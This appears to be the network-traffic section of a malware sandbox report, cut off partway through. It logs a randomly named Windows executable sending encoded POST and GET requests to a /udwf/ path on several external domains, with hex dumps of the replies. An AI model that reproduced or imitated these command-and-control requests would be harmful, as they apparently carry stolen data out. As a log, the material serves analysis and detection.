G0Yxd2Q=JiASbP8HN86R87DJeEmxCrnEyWR33s+NbrFF5KyIioymnsrmwtYPbd6+9doczsh+kd3ItmPxO8XRm+mDjR/LngckaIljpKpP7I00CQkkIMt2MURVLJ1DSmx3r0CzcLVrTyU5jMOPACI9xPTIT8fjWMn0gPs6bx+rFeES8rkNlqpSl1R8ELUR38dgxmcO5j6HOzGSw5rBLWAz+Mue1ifDBfORZPOnf/s2KVK7RArfRlsXMzJFnHguMzuyW5QtbrUgtoEcJri5iurwEkeAjv+cQNk4ESrcXdSdKMclw/KZNzJGK7hTHZ2bZtLGadQ9ZnuiqUA7wjyJPUH9JXOypRPMqnnuzokgciVqWqOftzNTSuUXiqev3v6SuMP43LMQLU3m2R92ZoRnvdyr9IVxmBUKJwjCaOCFuWF1EBULBwhaSLmdcWlHjC4iXTtnA5d+9uSA8g2EGXZggjgGH82otS5fJ8olkr4bC/c0M/30rscDc7DIxCEI4F8YiIb2PeDioSSfT8FHyMS9dGlaiyEI+fcBSAdDYNHdN1MbWqZrvId21ZoDD54laZ7iRV7k+Z01zzpmIpwiZqHSnfpIme4AFsQWkST4e9UN0r9OtNVNmopujHaDZF7SPLe8rU0ELPpduhIVCn5vm9s1LNXsOItn+ozma+0qZt/MezTfggKdPpUG89zZxxRSawZnQHJPooHEHTV7WdNURRQX7OpPVPOEgi87TYeJ9Bsu8GbYBHdtIk17UR2Pj8c18PxJYy7AfizUXUf5aRZEVv0k4MXKVGXm7hKNC6qtvZZxJr/TuMsNyl4O3SvQLr64BOwncPQ766pnUcFP0v4MyRMGacK1bYTm/2L4TmrpsL+HwSQXns8xv6mdR1M54MjAWhkUtFzXhUxWuJr5L77HuOVsUjRYVZYgByWoL2r77mfLLU5KYg+KoMYHPeq6ttkuKM8phZGKz7m0Ka5w9wT/y7nV80b5VmbpYxYNVgI7i5hanBARpkOrGampzivTWudsQB09iqGKWvMGp2CzSrcWIvGQ+bM0fTgYKeYBZLWro3bZ5x61ucX/ytDF0L8zp6TaAC5ODC6tzOciee3qBhzedVv8fHrtLuolCxOgzv3BOJOy8UVn9UwxxjTlHEzsCXnYI5FI2p7ABXNlt0W0u+h2O63HfHcvVt1ZI9u6cxsNZ3bBBiTzAPLhGcUPS0Qtuw6FYxj35ZgWGWd3

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.10	49763	103.120.80.111	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:30:39.818058014 CET	321	OUT	GET /udwf/?G0Yxd2Q=EgoyY5F9PuSC7IWgflDFG7vO7ChOxNSXUZQtmoKTqYmDoJiW0KocQ9ej5sZbxdFlzd/pkXvUfPTapOCXwmOa8U5eEphhhK4tvg==&pp=dZa4 HTTP/1.1 Host: www.633922.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Nov 10, 2023 09:30:40.146688938 CET	322	IN	HTTP/1.1 200 OK Server: wts/1.7.0 Date: Fri, 10 Nov 2023 08:31:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: "64daefaa-1a1c" Data Raw: 31 61 32 32 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 36 33 33 39 32 32 2e 63 6f 6d 2d d5 fd d4 da ce f7 b2 bf ca fd c2 eb 28 77 77 77 2e 77 65 73 74 2e 63 6e 29 bd f8 d0 d0 bd bb d2 d7 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 66 69 31 32 33 2e 6f 6e 6c 69 6e 65 2c 22 20 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 Data Ascii: 1a22<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>633922.com-(www.west.cn)</title> <meta name="description" content="wifi123.online," /> <meta name="keywords" content
Nov 10, 2023 09:30:40.146724939 CET	323	IN	Data Raw: 3d 22 77 69 66 69 31 32 33 2e 6f 6e 6c 69 6e 65 2c 22 20 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 Data Ascii: ="wifi123.online," /> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <style> body { line-height: 1.6; background-color: #fff; } body, t
Nov 10, 2023 09:30:40.146760941 CET	323	IN	Data Raw: 20 20 20 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 61 6e 74 69 61 6c 69 61 73 65 64 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6d 6f Data Ascii: color: #666; -webkit-font-smoothing: antialiased; -moz-font-smoothing: antialiased; } html, body { height: 100%; } html, body,
Nov 10, 2023 09:30:40.146795988 CET	324	IN	Data Raw: 20 20 20 20 20 20 20 20 74 64 2c 0d 0a 20 20 20 20 20 20 20 20 66 69 65 6c 64 73 65 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a Data Ascii: td, fieldset { margin: 0; padding: 0; } .wrap { margin: 0px auto; min-width: 990px; max-width: 1190px } .
Nov 10, 2023 09:30:40.146828890 CET	324	IN	Data Raw: 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 30 20 32 30 70 78 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 2e 6f 72 61 6e 67 65 62 74 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 Data Ascii: padding: 0 0 20px 0 } .orangebtn { background-color: #ff8400; display: inline-block; padding: 0px 20px; color: #fff; height: 50px; li
Nov 10, 2023 09:30:40.146862030 CET	325	IN	Data Raw: 34 38 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 65 66 66 30 37 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a Data Ascii: 48px; color: #feff07; font-family: Tahoma, sans-serif; padding: 60px 0 20px 0 } .banner1 p { color: #fff; font-size: 20px; }
Nov 10, 2023 09:30:40.146893978 CET	326	IN	Data Raw: 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 33 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 Data Ascii: 100%; margin-right: 320px; font-size: 16px } .domainout { padding: 50px 380px 50px 100px } .domainout p { line-height: 50px; }
Nov 10, 2023 09:30:40.146927118 CET	326	IN	Data Raw: 20 20 20 20 2e 72 69 67 68 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 37 38 30 64 39 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 20 Data Ascii: .right { background-color: #2780d9; height: 100%; width: 320px; position: absolute; right: 50px; top: 0; color: #fff; padding: 0px 20px
Nov 10, 2023 09:30:40.146960020 CET	327	IN	Data Raw: 20 20 20 0d 0a 20 20 20 20 20 20 20 20 2e 69 6d 67 70 69 63 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 32 35 70 78 20 30 20 32 30 70 78 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 Data Ascii: .imgpic { padding: 25px 0 20px 0 } .contact { margin-left: 50px } .contact p { line-height: 40px } a {
Nov 10, 2023 09:30:40.146994114 CET	327	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 2e 66 6f 6f 74 65 72 2d 6c 69 6e 6b 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 20 20 Data Ascii: color: #666; } .footer-link a:hover { color: #ff8400; } .footer-link span { padding: 0 6px; } </style></head><body> <div clas
Nov 10, 2023 09:30:40.475420952 CET	328	IN	Data Raw: 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 65 73 74 2e 63 6e 2f 79 6b 6a 2f 76 69 65 77 2e 61 73 70 3f 64 6f 6d 61 69 6e 3d 36 33 33 39 32 32 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 6f 72 Data Ascii: span></span><a href="https://www.west.cn/ykj/view.asp?domain=633922.com" class="orangebtn" target="_blank">Buy it !</a></p> </div> </div> <div class="main-out "> <div class="wrap "> <div cla

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.10	49764	136.243.218.18	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:30:46.275325060 CET	330	OUT	POST /udwf/ HTTP/1.1 Host: www.sorenad.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.sorenad.com Referer: http://www.sorenad.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 188 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 54 59 4e 35 6a 49 49 57 75 49 50 38 54 49 51 46 4e 66 7a 31 6f 50 2b 63 37 46 42 6c 34 2f 6c 43 51 52 38 54 5a 79 4e 50 4c 69 57 6b 74 75 34 5a 65 67 2f 31 43 6d 59 4e 59 34 59 6e 71 7a 51 47 77 79 54 67 68 78 66 76 66 66 72 64 4c 38 67 48 33 78 43 56 6a 75 79 44 2f 6a 57 41 33 6d 70 79 59 5a 45 71 70 66 42 30 66 6d 6c 4c 75 73 6e 4f 48 67 64 35 78 46 67 76 6f 67 6f 61 7a 34 73 75 34 43 74 70 7a 4c 31 4a 71 6c 56 31 51 67 4f 47 42 37 6c 78 70 44 65 56 53 64 4d 7a 48 50 4f 46 41 6b 4d 47 4f 63 36 56 6b 6e 36 79 38 46 47 49 66 51 3d 3d Data Ascii: G0Yxd2Q=TYN5jIIWuIP8TIQFNfz1oP+c7FBl4/lCQR8TZyNPLiWktu4Zeg/1CmYNY4YnqzQGwyTghxfvffrdL8gH3xCVjuyD/jWA3mpyYZEqpfB0fmlLusnOHgd5xFgvogoaz4su4CtpzL1JqlV1QgOGB7lxpDeVSdMzHPOFAkMGOc6Vkn6y8FGIfQ==
Nov 10, 2023 09:30:46.581011057 CET	332	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Nov 2023 08:30:46 GMT vary: User-Agent access-control-allow-origin: * access-control-allow-methods: GET,POST,OPTIONS,DELETE Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.10	49765	136.243.218.18	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:30:49.108351946 CET	333	OUT	POST /udwf/ HTTP/1.1 Host: www.sorenad.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.sorenad.com Referer: http://www.sorenad.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 208 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 54 59 4e 35 6a 49 49 57 75 49 50 38 63 4a 67 46 4b 2b 7a 31 39 2f 2b 66 6e 31 42 6c 6a 50 6c 47 51 52 67 54 5a 32 39 66 4c 52 69 6b 6a 76 49 5a 66 68 2f 31 42 6d 59 4e 53 59 59 75 6b 54 51 50 77 79 57 66 68 77 6a 76 66 65 50 64 4c 39 51 48 33 41 43 4b 6a 2b 79 46 30 44 57 43 35 47 70 79 59 5a 45 71 70 66 55 6a 66 6d 39 4c 70 64 58 4f 45 42 64 6d 74 31 67 73 69 41 6f 61 33 34 73 71 34 43 74 48 7a 4a 42 33 71 6a 5a 31 51 68 2b 47 42 71 6c 79 67 44 65 54 57 64 4e 42 57 61 54 2b 50 45 55 30 66 74 57 33 79 44 50 2b 39 51 71 62 59 72 38 52 55 6a 46 55 54 49 67 7a 2f 6c 74 75 42 61 51 6d 78 33 6b 3d Data Ascii: G0Yxd2Q=TYN5jIIWuIP8cJgFK+z19/+fn1BljPlGQRgTZ29fLRikjvIZfh/1BmYNSYYukTQPwyWfhwjvfePdL9QH3ACKj+yF0DWC5GpyYZEqpfUjfm9LpdXOEBdmt1gsiAoa34sq4CtHzJB3qjZ1Qh+GBqlygDeTWdNBWaT+PEU0ftW3yDP+9QqbYr8RUjFUTIgz/ltuBaQmx3k=
Nov 10, 2023 09:30:49.420788050 CET	334	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Nov 2023 08:30:49 GMT vary: User-Agent access-control-allow-origin: * access-control-allow-methods: GET,POST,OPTIONS,DELETE Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.10	49719	91.195.240.123	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:27:59.646814108 CET	105	OUT	POST /udwf/ HTTP/1.1 Host: www.bellcom.media Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.bellcom.media Referer: http://www.bellcom.media/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 188 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 79 64 76 54 73 32 53 48 37 61 39 53 68 75 72 73 4c 72 51 48 37 4d 4f 71 77 71 46 37 66 72 42 70 6f 43 6f 30 2b 46 35 55 4b 74 45 73 44 34 59 30 45 37 7a 6a 67 35 49 51 47 39 76 36 7a 30 69 7a 72 7a 72 61 59 57 79 71 6c 2f 53 4f 30 67 48 38 4e 59 4a 58 67 62 6c 38 39 72 68 58 4c 75 4a 41 6c 4f 4d 54 51 65 46 50 63 48 32 45 52 58 35 2b 78 54 47 6d 79 45 39 4d 6b 71 44 4e 6f 6c 31 32 76 4f 6a 4d 46 66 67 6a 6c 4e 79 6b 6b 57 67 79 4d 32 59 34 45 55 4a 78 44 71 59 36 32 65 65 44 70 32 77 4e 36 6b 35 32 34 4a 53 44 56 43 4a 6c 42 67 3d 3d Data Ascii: G0Yxd2Q=ydvTs2SH7a9ShursLrQH7MOqwqF7frBpoCo0+F5UKtEsD4Y0E7zjg5IQG9v6z0izrzraYWyql/SO0gH8NYJXgbl89rhXLuJAlOMTQeFPcH2ERX5+xTGmyE9MkqDNol12vOjMFfgjlNykkWgyM2Y4EUJxDqY62eeDp2wN6k524JSDVCJlBg==
Nov 10, 2023 09:27:59.953897953 CET	105	IN	HTTP/1.1 405 Not Allowed date: Fri, 10 Nov 2023 08:27:59 GMT content-type: text/html content-length: 154 server: NginX connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.10	49766	136.243.218.18	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:30:51.932936907 CET	336	OUT	POST /udwf/ HTTP/1.1 Host: www.sorenad.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.sorenad.com Referer: http://www.sorenad.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 1220 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 54 59 4e 35 6a 49 49 57 75 49 50 38 63 4a 67 46 4b 2b 7a 31 39 2f 2b 66 6e 31 42 6c 6a 50 6c 47 51 52 67 54 5a 32 39 66 4c 51 61 6b 6a 5a 63 5a 65 47 54 31 41 6d 59 4e 4d 49 59 6a 6b 54 52 66 77 79 75 54 68 77 75 59 66 64 6e 64 4b 66 59 48 78 30 75 4b 74 2b 79 46 70 54 57 44 33 6d 70 6a 59 5a 56 68 70 66 45 6a 66 6d 39 4c 70 66 50 4f 53 67 64 6d 2b 6c 67 76 6f 67 70 62 7a 34 73 53 34 43 6c 78 7a 4a 46 6e 71 54 35 31 52 42 75 47 4f 34 39 79 39 7a 65 52 52 64 4e 5a 57 61 58 68 50 45 59 43 66 70 66 53 79 42 76 2b 35 68 4c 53 4d 66 68 48 4b 41 64 4a 51 37 74 69 7a 68 34 70 61 66 51 6d 71 78 65 31 32 53 74 76 52 53 43 39 55 51 6c 55 4e 6a 5a 6f 42 67 2b 66 39 32 53 63 42 76 52 31 47 39 6c 65 56 4d 31 66 56 72 37 71 66 57 51 77 41 67 50 45 57 6b 42 61 59 73 68 31 2f 42 4e 73 48 54 46 37 39 48 35 2b 53 75 76 75 70 68 33 36 30 6f 67 50 6b 37 39 45 68 34 4d 